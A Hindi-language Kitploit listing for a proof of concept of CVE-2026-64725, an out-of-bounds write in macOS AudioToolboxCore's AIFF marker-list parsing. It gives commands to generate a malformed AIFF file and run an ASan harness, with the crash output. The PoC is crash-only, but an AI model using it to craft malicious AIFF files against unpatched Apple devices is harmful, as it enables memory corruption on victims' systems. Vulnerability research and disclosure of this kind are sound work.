Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-64725-poc — CVE-2026-64725 के लिए एक PoC | Kitploit
उपकरण/GitHubGitHub/altvist/cve-2026-64725-poc
भेद्यता विश्लेषणशोषणबाइनरी शोषण
GitHubaltvist/cve-2026-64725-poc

cve-2026-64725-poc

CVE-2026-64725 के लिए एक PoC

रिपॉजिटरी देखें
121 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

रिपॉज़िटरी में क्या है?

यह CVE-2026-64725 के लिए एक PoC है। विवरण के लिए स्रोत कोड और ब्लॉग पोस्ट देखें।

पुनरुत्पादन कैसे करें?

प्लेटफ़ॉर्म

macOS 26.4.1 (build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)) पर पाया गया।

Apple पुष्टि करता है कि macOS/iOS/iPadOS < 26.6 असुरक्षित हैं।

PoC

  1. सुनिश्चित करें कि आपका Mac नवीनतम macOS चला रहा है

  2. सुनिश्चित करें कि आपके पास Python 3.6+ और clang स्थापित हैं

  3. रिपॉज़िटरी को अपने Mac पर क्लोन करें

  4. एक न्यूनतम दोषपूर्ण AIFF जनरेट करें जो int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) में साइन-शिफ्ट बग को ट्रिगर करता है:

    root@kitploit:~
    cd poc/
    python3 gen_marker_oob_aiff.py
    

    या

    root@kitploit:~
    cd poc/
    make aiff
    

परिणामस्वरूप, आपको marker_oob.aiff मिलना चाहिए।

  • ASan के साथ न्यूनतम PoC हार्नेस बनाएँ:

    root@kitploit:~
    make 
    

    परिणामस्वरूप, आपको marker_oob_harness मिलना चाहिए।

  • PoC चलाएँ

    root@kitploit:~
    ./marker_oob_harness marker_oob.aiff
    

    आपको कुछ इस तरह दिखना चाहिए

    root@kitploit:~
    buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
    ==62449==The signal is caused by a WRITE memory access.
    ==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
        #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
        #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
        #2 0x000104778ca4 in main marker_oob_harness.c:59
        #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
    
    ==62449==Register values:
     x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
     x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
     x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
    x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
    x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
    x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
    x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
    x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
    ==62449==ABORTING
    zsh: abort      ./marker_oob_harness marker_oob.aiff
    

    क्या हुआ है?

    संक्षेप में:

    1. marker_oob_harness ने प्रलेखित सार्वजनिक API AudioFileOpenURL(...) को कॉल करके marker_oob.aiff खोला

    2. marker_oob_harness ने मार्करों के लिए एक निश्चित-लंबाई आउटपुट बफ़र आवंटित करने हेतु calloc को कॉल किया (यह सर्वोत्तम अभ्यास नहीं है, लेकिन वास्तविक दुनिया में ऐसा अक्सर होता है; अधिक सुरक्षित GetMarkerListSize कोड पैटर्न नीचे "सुरक्षित मामले" / "GetMarkerListSize → malloc(size) → GetMarkerList" में चर्चा किया गया है)

    3. marker_oob_harness ने inPropertyID=kAudioFilePropertyMarkerList के साथ प्रलेखित सार्वजनिक API AudioFileGetProperty(...) को कॉल करके मार्करों की सूची प्राप्त करने का प्रयास किया। आउटपुट बफ़र आकार और बफ़र के पॉइंटर सहित सभी तर्क सही थे।

    4. AudioFileGetProperty(...) ने अंदर ही अंदर अप्रलेखित API int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) को कॉल किया

    5. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) ने (सही!) आउटपुट बफ़र आकार की गलत व्याख्या की और marker_oob.aiff से बाइट्स को बफ़र के अंत से आगे लिखा, इसलिए आपने ASan क्रैश संदेश देखा। अपेक्षित सही व्यवहार बफ़र-बहुत-छोटा त्रुटि या ऐसा कुछ लौटाना होता।

    बफ़र के अंत से आगे लिखे गए बाइट्स की संख्या फ़ाइल आकार पर निर्भर करती है। एक दुर्भावनापूर्ण .aiff फ़ाइल, यदि फ़ाइल काफी बड़ी है, तो उचित आकार के किसी भी बफ़र को ओवरफ्लो कर सकती है।

    विवरण के लिए ब्लॉग पोस्ट देखें।

    टूल डाउनलोड करें